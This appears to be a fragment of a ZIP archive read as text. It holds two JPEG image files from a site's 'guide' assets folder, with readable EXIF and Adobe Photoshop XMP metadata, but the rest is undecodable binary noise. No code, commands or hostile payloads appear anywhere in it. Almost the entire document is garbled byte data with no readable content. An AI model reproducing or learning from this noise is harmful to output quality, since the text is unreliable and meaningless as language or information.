�8v`��r(e��0�Ц��؇'N<�y8�q���Ǔ�'�_09	�6���@,�}��v�����z�] 9��pq��ǃ�<x8�q������
`�ٝ?C�%
p]�W�S��

U(k��6I"��C|xaP�u
WR!��T��`s�i�~be�{�%V��@��3��PK�y3\�}��O=O=&assets/images/guide/guide_carousel.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:8C31677840C111E9908CD8F3CD548D96" xmpMM:InstanceID="xmp.iid:8C31677740C111E9908CD8F3CD548D96" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5bdfa583-c4f0-3444-a164-7cb51abd2c2c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

~�1�=M���		





���0���P0213@ p!��"�2P!��301AQ@a��"�4���R��B�#p���q1P0@! `p��aP�1�!Aaq0Q����@���`p �������w�	�����@y"'@JzH�����"p��䈜)�y"'@JzH�����"p��䈜)�y"'@JzH�����"p��䈜)�y"'@JzH�����"p�h�a���Z� �DN�r�źS�%;
�bB��8̴p0�	O@�!Z��DN����Y��t✄H��
��
R��@Jz�ۙ�@䈜�8�)]��䈜�p��	O@�8S��DN���<�� %=$D�	O@�8S��DN���<�� %=$D�	O@�8S��DN���<�� %=$D�ѹ�f]�.���Ny)���"pl\�Q;�u��+�w(����pu��I�Y��-�3��<	��
&�87�рI����t`+:����M6po3��
O_0egZ9�I����i��3y���/L��h�i(���l��gGw{K�&0�4�J+�&�87������Ɍ�&���I����tww��2c9�I����i��3y���/L��h�i(���l��gGw{K�&0�4�J+�&�87������Ɍ�&���I����tww��2c9�I����i��3y���/L��h�i(���l��gGw{K�&0�4�J+�&�87������Ɍ�&���I����tww��2c9�I����i��3y���/L��h�i(���l��gGw{K�&0�4�J+�&�8Un�������tww��2c]_?=2'���&���I���U�m�,�>!�̀��tww��2c�?K��33a����?��"δh�i(���l�
T	��3�>W{H7������Ɍ��ҢD|��`�5�R�����4�J+�&�87������Ɍ�YZ�~qsP?M�M�2ʿ���sF�IEu��g>ߘ�1u�{J�f�:;��^�1�o�����w>z9�I����i��o�i�:�=�h3y���/L��h�i(���l���G*5����tww��2c9�I����i��3y���/L��h�i(���l��gGw{K�&0�4�J+�&�87������Ɍ�&���I����tww��2c9�I����i��3y���/L��h�i(���l��gGw{K�&0�4�J+�&�87������Ɍ�&���I����tww��2c9�I����i��3y���/L��h�i(���l��gGw{K�&0�4�J+�&�87������Ɍ�&���I���R�_D���j�o�]�ᅴ����™��Z��gGw{K�&0�4�J+�&�8>њ�������?����yNrd=�u�ڬf�:;��^�1�me���ӆ�&�8.cH��#%a>�O`�N�';���O"=4��7��N�'�����i4��ΌM6po3�����e2�L�S)��e2�L�S)��e:@zL�S)��e2�L�S)��e2�L�}���h�A'�.�I��K�}���h�A'�.�I��K�}���h�A'�.�I��K�}���h�A'��E5v�;a����gl3���v�;a����gl3���v���-m3��M*aO����v�J��\�m�ZZf.��'��Y4ǖ��a���yl<�[-����a���yl<�[-����ku����õ��]Z�9�ϴ]����d�8v�R�J��aO��䰥�	*h�K��Q��ȟo��aK�}����d{#��G�=��d{"��{
]����h$�@%�	>�	v�O�]����h$�@%�	>�	v�O�]����h$�@%�	>�	v�O���4SUU+�v����]U�jSZR���]�;�Uv�S�4�×h$�a�T���j�kj�J��U%lR�j��*�㪖uR�:�)�Ia˷��f3��c1��f3��c1��f:�#r�E\�}'9�bW�Q%o��D�9N�F��\��'S1��f3��c1��f3��c1��f3��c1��f3��c1��f3��D;l�3��c1��f3��c1��f3�;�����-�0K�����-�0K�����-�0K�����-�0K�����-�0K�����-�0K�����-�0K���[\���=/z^0�a�x����K���=/z^0�a�x����K������+�ޕ�I�q�q��6�+4%qq�q���8�×��.<?{ml{�0�\a���q���u��=�{�0�\a���q���u��=�{�3�Ç���Z\�;y�q<���+�UmVdžo�������:-���j��V�¸�o�p��8Vi���#�%d��:���<?�\+�Å�)�)�)�)�)�)�)�)�)�)�)�)��op��0K�����-�0K�����-�0K�����-�0K�����-�0K�����-�0K�������\R(���O)b��jYeV��d����F�V��]�+�Y�Wqoi��a�`�4�TO��kqjҕ�=j�7\
��]r�ҭ���%���[�J�K<;�x<����x<����x<��F�)qh+�Ӧ��R�Ӟ�F��z�j
+�:��iS}�\]�'s������x<����x<������[�q��n7���q��n7���q�Z=%��n7���q��n7���q��n7�ki�#���:`�i�#���:`�i�#���:`�i�#���:`�i�#���:`�i�#���:`�i�#���:`�i�֮r7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7�7��GO�Un�3�,%���?%8UO��W�"��%����j'3f�f�f�f�f�f�f�f�f�f�f�f�f�f�f�f�f�t᪗A%z᪗A%z�-���5�$�\E�Sצ�~5�:p���&�o����m���"�p�
��a��l6
��a4��#���:`�i�#���:`�i�#���:`�i�#���:`�i�#���:`�i�#���:`�i�U^���J�Ҝ��U��T�QJ��IN���D���[N���o!I�K�'/���M]Eg�xh�N���p8���p8ku�iJ�V侕!)��)}gnP��ġn�p8���p8���p8�
���[��p8���p8��J�g�n�p8���p8���p8�ij�+������j�+������j�+������j�+������j�+������j�+������j�+������j�ѦS6�6�6�6�6�6�6�6�6�6�6�6�6�6�6�6�6��WW�M.�R�<$�}��%]XTˬ�K�"I
������#v�v�v�v�v�v�v�v�v�v�v�v�v�v�v�v�v�ua��QD�a��QD�b%���4��(�LD��UӮZ�5�����Z�~JZ�5����j�p8���p8̈́��"Z�
�%���"Z�
�%���"Z�
�%���"Z�
�%���"Z�
�%���"Z�
�%�
4���')u'9PJr���	��sVR')U,5uAՇ)�������ѧ�R�*����K
]_	��n7���q��n7���q�ܥ�áIȚ�ZV������\�I��z͸�n7���q��n7���q��7��?��*���������uUUUUUUUU~��r^;Lr:�y�<p��Sxy��7��=����g������������`�F���DDDDDDDD��""""""""|��?����ykγ��y�u5��cX����=������?�L�&��<�1�@�<�1�@�<�1�@�<�1�@�<��!�@ғ�E���vЄ����kF��2�8r���|��0F���n1�F���n1�F���n1�F���n1�F��9���y0|�|9�l=��`�S-:�Z�\Mj�i8su�=��p젥��:)͉9q|�	~��k-��-��-��-��-��-��-��-��-��-��-��-��>���)D՛�M(OP$���M�I����a�Z��hi�s%�T�(��)�]�b��1�Y����>��\��GN��N��K~�Ӭ���+�Et��*���-=������p��'�"p��'�"p��'�"p��'�"p���y��IW���N8D��N8D��N8D��N8D��N�j�SB��M
�4*��SB��M
�4*��SB��M
�4*��SB��M
��:/]�v�-m�2q*ѓ�V��J�d�U�'�8�h�īFN%Z2q*ѓ�V��J�d�U�'�8�h�īFN%Z2q*�zO�/�8��.\����Z5h9���t���(�H���SU'n��1��Do�>�|�,}S&ȴ��N���j3���;
��U`�«vX3�����V�*�gaU�;
��U`�«vX3�����V�*�gaU�;
��'I�nf�IQ�n��i5�=e�h���fjJ����8���xt��S����ĭ�D?�/�4Ɇ��^����/1���E�\��S|-ѫ����'F�O]�fu�.[�g�3RJ�ff�=g�����B�G��G�����z|~Q��G�����z|~Q��G�����z|~Q/��|6�n�u�hUP)�U@��U�T
hUP)�U@��U�T
hUP)�U@��U�ZD̚�ӕ]{و%X���V�%'Ź2�/�=���y�K\��T{}�)Z�lU���`�r�/%5(ʢ�hW3�&��k.��&�V�
���R�$��߀��jk>$�s��ke{�L=���׽��9i��|	�l��dF_o�
-�o�����#�V�H���/�B��/�B��/�B��/�B��/��n��|R����(�����ֳj������⤵6���D��z�Y�}���F2Q-_Q�E�xe�ۤ$�k/�B��/�B��/�B��/�B��/����?!�Fn[��n[��n[��n[��n[�hw���u�n[��n[��n[��n[��n�����������"�ɹ)�E3Ȧy�"��S<�g�L�)�E3Ȧy�"��S<�g�L�)�HɌZo��+�(f�J��3��`�|�:*��v�d	��~jg�L�)�3��x���S<
g�L�)�3��x���S<
g��C
�;��F�Q*p�@N��E�eW�
�$1|Y��G�00��D���S�#�C��`�(�D�����DDDDDD[����_�{UUUUUT
>=��CU���2�N99�+���,���Gt���:���j?
D�-�2��a�����<����<���{F�� ����f��|Ty/��bض-�bض-�bض-�bض-�b/�Oއ��`y��G�'�ڣ�h��V������Z�43-�bض-�bض-�bض-�bض-�g���K�R�)}���_e/���K�R�)}���_e/���K�V��m[���K�R�)}���_e/���K�R�)}���_e/���K���. 7�0[K�
����ys����\�m. 7�0[K�
����ys����\�m. 7�0[K�
����ys����\�m. 7�0[K�
�����­C�Ɋ(��(��(��(����䴘��f.w����Z�p�. 9ys�	D�
NK���u���o�y�m^\�}����­�Ɋ(��(��(��(����
p^�ޤ�$s	��4���#�ӑ�Z\@o.x��#P��$\�\$�䌏]x@�\`E
r�F0X�`�D�N��9p�. 9ys����~hH�:���u=b���Ng�Z\@r��_�iq��33333<���n��iq����\@o.`��˘-����iq����\@o.`��˘-����iq����\@o.`��˘-��Gn@>e���rC|$o��l�cGϢt��!�� %�a�.ق�cVϪ�xT��tL$­�P����	 9����iq�&nu˧�>��`���Ȝ�wt����yQӧ���,�WF��@��dm�Rq8B?�Ȃ��A�N-�8��?_E/���K��R�)}��_E/���K��R�)}��_E/��}_�~˚/̲Ee�`�q'9�O�	c,U?� �e�ʆ�~$�AAa�Cp�?e��Y�:�W��R�)}��_E/���K��R�)}��_E/���K��R����?!��|�����o�3}���L�jf�S7ڙ����o�3}���L�jf�S7ڙ����g��Φo�3}���L�jf�S7ڙ����o�3}���L�jf�S7ڙ����o�3}�:�����9�hNpZ�����9�hNpZ�����9�hNpZ�����9�hNpZ�����9�hNpZ�����9�hNpZ�����9�hNpZ���5l�l�l�l�l�l�l�l�l�l�l�l�l�l�l�l�m��9��
��8Iρ�?�&����*��x��8�Rs�4�����������������������������������'>((MxzP�"���9�����1'x�Ԝ�?��N|1��E�"������Bs�Ԝ�r7ڑ�ԍ��o�#}��H�jF�R7ڑ�ԍ��o���߅Bs�Ԝ�4'8-I�Bs�Ԝ�4'8-I�Bs�Ԝ�4'8-I�Bs�Ԝ�4'8-I�Bs�Ԝ�4'8-I�Bs�Ԝ�4'8-IψBaDZ�:�I`�P\&η��R��Bs�Ԝ���O4�@��S@<���x�	���Jg�S?ҙ�����3�)��L�Jg�S?ҙ�����3�)��L�Jg�X3q7�ˠ0�q�0���(9[�e3�)��L�Jg�S?ҙ�����3�)��L�Jg�S?ҙ�����3�)����?!��|��l�w[;�����gu����l�w[;�����gu����l��L�w[;�����gu����l�w[;�����gu����l�w[;�:S����9@kNPZS����9@kNPZS����9@kNPZS����9@kNPZS����9@kNPZS����9@kNPZS����9@kNPZS��֕֕֕֕֕֕֕֕֕֕֕֕֕֕֕֕֕��/�YB)ˁ��ɭ9p��Z)�s��
S��ֵֵֵֵֵֵֵֵֵֵֵֵֵֵֵֵֵ��..+�8z�W�q)NPӗ����@�6�)����­9p�TB�"~E)����­9AiN\=����gu����l�w[;�����gu���`�­9AiNPӔ���9AiNPӔ���9AiNPӔ���9AiNPӔ���9AiNPӔ���9AiNPӔ���9�	�ړ�X8VC�԰0Y��V����.#���&A@'�c�LS�q+N_we����n�v[�-ݖ��we����n�v[�-ݖ��we��Ɵ����/��c���-�E�-���:��n�v[�-ݖ��we����n�v[�-ݖ��we����n�����m��m��I$�I$�I$�I&�m��m��m��m��m��I$�I$�I$�I��m��m��m��m��M$�I$�I$�I$�i��m��m��I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I4�I$�I$�I$�I��I$�I$�I$�I$�M$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I4�I$�I$�I$�I��I$�I$�I$�I$�M$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I4�I$�I$�I$�I��I$�I$�I$�I$�M$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I4�I�������I��I$�I$�I'I$�M$�^�m��m�$�i$�I&bI$�ND�I$�I$��������$�I$�I+I$��$�I$�I$�I$�I$�I&�I$�H�I$�	$�I4�I$��m�$�I��I$��$�I$�I$�M$�I;m��l�$�i$�I$�I$�I$�I$�I$�Km��m�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I4�I$�I$�I$�I��I$�I$�I$�I$�M$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I4�I$�I$�I$�I��I$�I$�I$�I$�M$�I$�I$�I$�i$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I$�I&�I$�I$�I$�I$�I4�I$�I$�I$�I��I$�I$�I$�I$�M$�I$�I$�I$�i$�I$�I$�I$�I$�I$�IjO�|�I$�I$�I$�I$�I$�I$�I$�VSh�$�I&�I$�I$�m��m��m4�I$��H�	$�I��m��m��m��m��m$�I$�I$�I$�m��m��m��m��m��I$�I$�I$�I$�m��m��m��m��m�ݶ�m��m��m���m��m��m��m��m�m��m��m��m���m��m�ݶ�m��m��m��m��m��m��m��m��m��m��iv�m��m��m��k6�m��m��m��m��]��m��m��m��Ͷ�m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��iv�m��m��m��k6�m��m��m��m��]��m��m��m��Ͷ�m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��iv�m��m��m��k6�m��m��m��m��]��m��m��m��Ͷ�m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��iv�m��m��m��k6�m��m��m��m��]��m��m��m��Ͷ�m��m��m��m��m�`m��m��m��m��
��m��m��I$�I$�m��m����m��m��iv�f6�k6�m����m>�m��]��m��m��m��Ͷ�m��m��6�m��m��I$�I"�m��m��`��m��m��m��m��I$�H��m��m��]��m��m��iv�m�I$�I-��k6�m��m��m��m��]��m��m��m��Ͷ�m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��iv�m��m��m��k6�m��m��m��m��]��m��m��m��Ͷ�m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��iv�m��m��m��k6�m��m��m��m��]��m��m��m��Ͷ�m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��iv�m��q>Km��k6�m��m��m��m��]��m��>�m��Ͷ�m��m��m��m�wm��lo��m��m��m��km��m��m�m��m��m��m���m��m��m��m��v�m��m��m��km��m��m��?�FL�fS2��̦e3)�L�fS2��̦e3)�L�fO�����S2��̦e3)�L�fS2��̦e3)�L�fS2��N����x-N����x-N����x-N����x-N����x-N����x-N����x-N����x-N����x-N����x-N����x-N����x-N����x-N����x-N��~�r�W#��q�q�q�q�C��H�pBO�؎N{T|�c�"�p�t�(u�
��6��%Z��]t<���������=��K�?i�U���c�8�8�8�8��: S�����ԕ��2c�/C@t���#�ӑ�é��o���X�rEͷ$
S���^$Ab1"b`�b�����1ˇS��)C��xT��|���@,1��Y~Χ�Q$.I5$���/Jo�$���jt��DDDDDD����Jo���o���o���o���o���o���o���o���o���o���o���o��@_Q��@�2�N��rCp$o��KeB�=I�:Yg2�ϐ3�,g0��*� ��j��xT�`�%�<0,[�P�H���`_#ġ��Z�/�$ �Ƣ�?�''L@"hz
F>$s�=(���A�y����h�@��\%q�a|(��Yd��`q(u�Ù�Φu3��L�gS:��Φu3��L�gS:��Ο0^ �˚ �!DF\�3`�u%;�'�<±�`/�C�+��߯�ԔΠ��;p�002�<�׈وک�L�gS:��Φu3��L�gS:��Φu3��L��333333333�3-�*w8<f{1T�_��ffffffff,��,��,��,��,��,��,��-'s�.�Ŀ������������XDRc��UQ}�WSC�p�u�go��)�U���,`52P��!��@���BA���-'s��?������������X �+��T|H�<�#��'��43n�F��1$��&lX���1�p�󸰗�J���9�p�G$80 �Q�,�]�wW����&��~��r�0��"�KR�@�(����
����$��
�,I'%ɩ1���������i������,��,��,��,��,��$BE�81�C��ݛ�Z������<��-�4s�1(%E<$��0_c�y�6���oX����YJ/1ϐ(��0��*��b�7�Ya%�L�q`P���g�B1Ls$�@��y����9�w�`�� �s�	�.y��g�B���͝(;�\��Q�333333339c3ق�r�W�0�&Z!�Fw���8dr3?���(�@���	LX  tv���A�0����;��2���B11�Ӊ���T;��333333333��?���O�1�:t�ӧN�:t�����?���DDDDDDDDD8㶚�8�s��DDDDDDDDY���gd��-�����v@n�����gd��-�����v@n�����gd��-�����v@n�����gd��-��~g|����এ4x)��M
h�SG��<�এ4x)��M
h�SG��<����Q��Dp�쀅��3�F,��LI5Z
m�(a�<K;8|�9���M>Ji�SO��|��䦟%4�)��M>Ji�SO��|��䦟%4�)�ˁww嗘���Pa���}`�d���v@n��4'��@��-�[idd<6��]��2'���@�>E����gg�؆MG���]���wt��
��[; 7wAl�����wt��
��[; 7wAl�����wt��
��[; 7wAl�����<�AX���S�ɐ�?�Ȑ�?�C��Va�O_���%��[;8�)T�A�!��8���F��u�n��4sUk�D����>�8�|7��,DDDDDDDDC����b`�.@ټ��0���Oa�:��.@�,@c�x�8��?��?���N�:t�ӧN�:t�ӧ���1P�L�2dɓ&L�2dɓ&�E�adɓ&L�2dɓ ?���M�A��&��o�&���)}��_E/���K��R�)}��_E/���K��R�)}F��c6�?%/���K��R�)}��_E/���K��R�)}��_E/�����]��}t��-��k ��@m���]��}t��-��k ��@m���]��}t��-��k ��@m���]��}t��-��vnz�S���|���%8�)��N>Jq�S���|���%8�)��N>Jq�S���ϒۤ�E`��]�����Y����fm�`A�s��ʡ7?�ľ���,��^Jp�S���<��8x)�N
p�S���<��8x)�N
p��[Y�g�y�u�9��\1�A������_]����8�U������g=�\6��+�
��p6I�y�Q	s_�}wǕӅmd����_E/���K��R�)}��_E/���nC7�h9p����]��}t��-��k ��@m���]��}t��-��k ��@m���]��}t��-��k ��q@��`,UDP�J$9��d9�)N�`F����:{G�a��x��Ao��aB?"T��Ə|f�L�T@8Q��;{D�G �<�-��r�)}���_e/���K�R�)}���_e/���K�R�)}�F3i�s�`#DX`��G"G'��0���� ����N�G�'�F�R�)}���_e/���K�R�)}���_e/���K�R����PK�y3\�
J�яяassets/images/guide/guide.jpgnu�[������ExifII*��Ducky<��,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:ADDB12A82C7111E9B42CAC4696140808" xmpMM:DocumentID="xmp.did:ADDB12A92C7111E9B42CAC4696140808"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ADDB12A62C7111E9B42CAC4696140808" stRef:documentID="xmp.did:ADDB12A72C7111E9B42CAC4696140808"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��Adobed����		





�������!1AQaq��"2R���B��#34�brS񂒢c$�C51!AQ2aq�"�C��?�i`�$`	X`� H  �(@  @ ���@A` `	XH�@@@@
@ �@ �@@@ ��, �� @�����@ 

`���@
0 (�
 �J���
E$��	�@ @� @ ��P$P# �T�
#���P @�@P@(�@ P@��H
��l	 3�����`T��
� (�"�@�
�E �P�(@E�BF�	�EHP�"@ XT
h#�<��P�@� T�`@*�`@QBT(
�H�1(�P�(�����A@0@P p  
6�
��@i(��P	` (�@*�RQq dy�@b4�A��@a(@`@�<J(@�A��	(� $�$��@�� ( ��Zr�+ *7M@'���̣M�`O0C
`�C	���̢����C0�C>D|�C�B>@jP� !���� !�� !��@b�`E%<J# 6V���.�&��@
��FȊ@`X**.0�Ja�B�
!s���W`0���+�W0.�$�`\9�0�.�a���s(a��J�W0��Ød9����a��<� 5�0&%��8|@�����.`d�
�!�U��P
"��x�)� ��(�I��Q�"��@��@�\�

`�@�@(@��`T�ʁ@�P�,�n-by�kn`kF`@T
aȨ�%c�Y\��9} I� ^@p*���� n@@ v�0 ��l #�],��B�V3�h�r"�5ȣ!(d�� :Q- V�<�@P���� �s����be�X�JB.�K.��:� iU�K�!��e�l �P�(�Q��GX @K`��?��� @ �@���Qc�@��i"��p
���Ⱥ��@ 	>`��$����.����``(q �T}��k%(U�y��O��F ��
d	6kF�R�3j�l�
�@��E8Iɋ�@ ,�����ī\�%�����a������rH	X�2�4��#����́��D�*�	 B@��#�
@H	 $��@�0*�(�@� %r�P�*ce
K�������`��w��.� �����#J
!*�`�֓O"
™����Le�*�q����b��SP�����9ጀ��,ԁ,`�@ �um�IF.��2�
*��,�� X),X@�6�4Z(���D�@��Q++)�Z�n��B�Z�PN��͡p|
$yq$��)R�P����xq�}�F�e�iʴ��	Si�j�����0,�@@��@�8�\F0�hO Hy�(�*E �J:��(�P ��ǀ
l/\�K���[����O~��q���7�X��6@�����M��ҿ41u��̆�E
J 	["Ĭ�W�
��'�'��
��@E��)�q�	� ra�
Ii�x���(���
��=�_ 05�۸�/��m�8�R��"1
n��5U��2f������X`;�@,�����P�e�J�_��R��+
Ծ��#J���3��
FX(��ؐE�È
 4���$������Tj�� K<8:�Q�ڰ��s+�;{�
�}�j0�Hp����E�`�* ��1v��W06� ����u1���s����U1��5�怘� !� �g&N%
D�Wh!�՘�1�Oj��RZ{x�]���a�6�h\����>4v�i(��
m,�(Ӳ�&(��̸�VlҲ���CBx�QF����߷ĕZ�#��/�� <~�G���"��@[N�{�Q��w�(�\��t��~au�n�>f�G<[��*�'��J��VE"�P�K�ٖ3�\ʍc����P�OpZ�k2�e�  ��5 ���I8��Z�̂�(�`I0 ��,�d	 T�8�e����P����A
K[J�<�
�B6�<�p
��,�|�Gh�����T� 
�^@&���y��嗈eAd)�&��Mp��ࡀ�\D����K��ϴ�`%��,
�V˘6�p5�
-m6䠖u6K�A���CN�u���Av��&j�A���X�Q� t��2�![�d���T��w��b@ү2�ZZʫ)��#.6��~F��%����B�Vm�ci<r**��}�kU@˵W��Mu�_ ���@�r������\���Q��K����#`@���r��r`&�BÈ	�,@�N�	4�V<@'L'�
���P�<Z z#��$�5�����i���
�8�tELa�BP�R���
Uj��E�}���H*\#,
>548��
�*/i<�׮ �)}�a��
Ѫڲ�Xρ��z5GGMV]��F�Qlq̣.�)X��
m�|L�y�脁@�d����.�ED
�WF�]�U�Q=K�X.�8�:7�X�7�՛M�n��)�ku�b�"ȁ@X\�����fX�H���	@KFg���*xd�$! e��Tz7�����Dq���� C�C��0�>L>L	�u�����2�0�0+\���dU`4��
>@Hop�Ɂr�y��	��qO�W52j���� �����>;sm����4@y�=�� �G�%�I@�
��X7�@$� ���E'�C� (t��]SoZ/�^�4MQmS�x��95
�F������K��ѺR�Xy��U��,��x<&i�qW����L�yΌ��
 *0!M�k`i012T��\����Ӛ���Ŋ���y}��":�n��|��+�]���0�y��(/�,c�X�;~���`і��PO� I G�P	|���g��g�w9��1�D4f���9�i����́k[�r��@<��ܷx�|p�U
�e�Aj`iT
@P��(	 P T�VD9�
��
v��v�FmV�A&ꚇ�l�{��jt3J��%�pA�:2��(2AP�
��@u2�SI�%o]c�+8˳}��Ԍ����zbJ��`I`�@U�E �aP��ǿ��~���s�YQ�+�.��U8���<�&�%
�4te
��Z��dWD� *�aF� 4��0,��@�@<��ܷx� ��	\��"<PUl
��3��t.AV�$�7��( PS0��\�B����5J�y�GuJ���V�����P�@�(P	 
H0%��
 	 w�.��@ `�0��m�S�c=1��eet�L�ɀ��"ܟ��'�@�r~@X�&P�r`�&-Ʉ�&"ܙ-��nO�[�(i�'�@�nO��	�ˁ��+�0 `@���1LF!��@���$��`00�0�
�Jj\�j\�j\�j\�j\�j\��ޖ��R�0
��XUt�^�V��T���/���X��O����>���>���|�@ދraU+� G[���s�:n/� w>�&��,	�s�a�l�M�|�c�>@1��	w����& \y!�(�nL��-�[�� *N@��-+���v��Rk���@%s@&��	\�	�4W4W4��:!��Ź0$[�(��0�2	�i�'�M�? .�r~@"ܟ�-��NO����m�M6�m��
�mm=��Y5ɶܼXo\#��9w����Y>��M�@��R�A�M� �ԡ��
��+P�@ �@ �� � 3H kk����R�@��^L�L��L��ד�q6�<@�� ���(@ @��	&҈P
(�J�Ҁi\�i@H�A��$�%W���Z��L�p�>j�?p�����@�M���Νc�0��p5��ʓ�����'U'�h%t��@P^f��Gn@r�C�˂���7Zb������]���,�06�3{i]� �k�x��6�}ល�� �@ n�V��<BW�fT]_�j<@���O�����-V!+P�@ �y���ˀZ���@ �����@B�� � [K��F:���$Q�� .@
5E�De	g�O�pV��c��3�G�T�a�Y���u�:@ �@ �^��T�C��P�U+\�H�_�~y@4�)9�����������0�Lj�g��V���P���`5_�~d�=lZ��+���P	@%^�Ey ^HF�wn���s�#�^�v��@zh۪|x�h
�6�/$&���y?�5���
a0�+��b���J��Z�N_�|�BO���@��}᎛#$J��5)�e�M*X��Z���ep�SMUy� �bT� �yǐ	� ���/���P"i���°��㭼;�����&����3(���k�a�����.��rY��v����2��S���ܬU���v�t��
��n���wQe��hb‰�t#`3{i����)�s�`|��7֡��8�"�\SCWN�c�4@� }G��z(�Y|�	|�M��v��[́=F]vi��_`�S_`�WW`��Z^C
R*�܂WR��LbH"��i{@ �[ŷ[�$G����X��̊�������
��M�is�}�mŹ� {#�����5�3�{�]_�v���a4��7�8��,yK�䁮el��O��ϧB2��&�fM<S*T{�8��V�@ҽ]a��Sq;h��(\ʕ����� �JC�P
=�>Hv *�P 0-eT���߼n'LR�],�m_SwN����S]֒���<yp*a�r/x%�(��?�@B`F�L7��}�#�S[�])�������? /ǹ�0�����Խ,�t��m8(ݓ���'���O�,2(���580�����(M(By�My k����0k�s������>�Q�X���;[ciqrV��ˌƊ��������4ľ�kV�G :SkR�Y��o���y��}�T�5WC�I��3eDZT�5qU')cLeլ�
@��2�H@�	�*�܂WR��A�RA��5��,B4�� b��wfF�}�]Cj*�;6�]\VH��.h�:�g6o�u�U��+��<'a4up�ǿ�4t���GK,[���X�}��9��2j�*U\{r@HX�q�Q 9 ��%�~ F������j֭[�O��}��
J9�N,�}�F����g(\�	�F�5_qR�(�<��]U�-��ɻ��e��m�ަ��8����7���"�Fn�O���w�4��Ug,@h�5�6}���m��>�1;��{䠭��5Iqrչ������^���
A.�^��(ʶ�ƕ� �什N�?J\�U�/RIp�)l�1X�(�ۯ��7��*~ 'wJ��
WTz�>�)��K`�	,��x�52�V�`VA$i✀,`W�X
���e������|a�*Y���ԥ�छ��C�]������/�bW��S���zV����嬳�<{�֛��S�"~��VNaK]��Ip$�����jمګK�b��,��p�0�Q�2�P�2G�<>��@R*�܂Wb��@����_)�U:0σ��V�LU�)� ��iĪ��SHҧ[Y�9��g0qN4�~!ڳ��Q���<���[n�pY���=a�Zg	���[���e�	pY�(:�_xr�ˤ��eA`ȧ�A��
���N�N`%`�s��VTY�]�"��;Y=Ur�\�7u��v�)�k/O�`���kLgU��Z�..�Iuk�+p�ÈQX @HaV@*�����9ﴶ�ɴ�}Ϳ�q+z�ø
R*�v�Z/K�%�R���(ų/�	�_0$�`Y|����x�@:l�{ݒi��1������@O�g��j�W�
@��KV@eSi4҆�S^`&����4J3jm��R�%k�\k���5�P�h$X%�Bj�q��̃M�5\[�'	��r��]�4@
�+X�0�SɁk
�Ϫ���_x:��z(��a[�}�M�*R\b�6���\5��ڻV�����ln�j�C���پ�)OH0�}��P��
��ߍ�����p�۵��k�Q�s��~���$VK��K���.�g��ն�h��Go��FK_9 ��c����a	y�����Y�Q�=F]@!@�0��� Wh+�%�9�մ�,�i*�U���r��m��T
�J3d"�G:m�.��&Z5R�+BiF��[�"'v�Ĭ��^��Nj#F��Hk�+���Yf��Ҍ���x��@'���\�ϵ��>�����J*$e͂�$��"��s��O�q�����>:Z֥eY?w$�"�]�����S�{@�J���U��]4b�a,&$zg�"@B�3#�������V�b{�@�pW��P@-nN	@I�9�����Sd֎+
��u��ұ�`f���aJ�dW�
9����@�M��}�#�NΛ[�`"����`Xԁ4��{X@%����ſ�-�0*��,����
8�l�KNџ45q�3��
5��1�t�x4�8�9��c�!V�
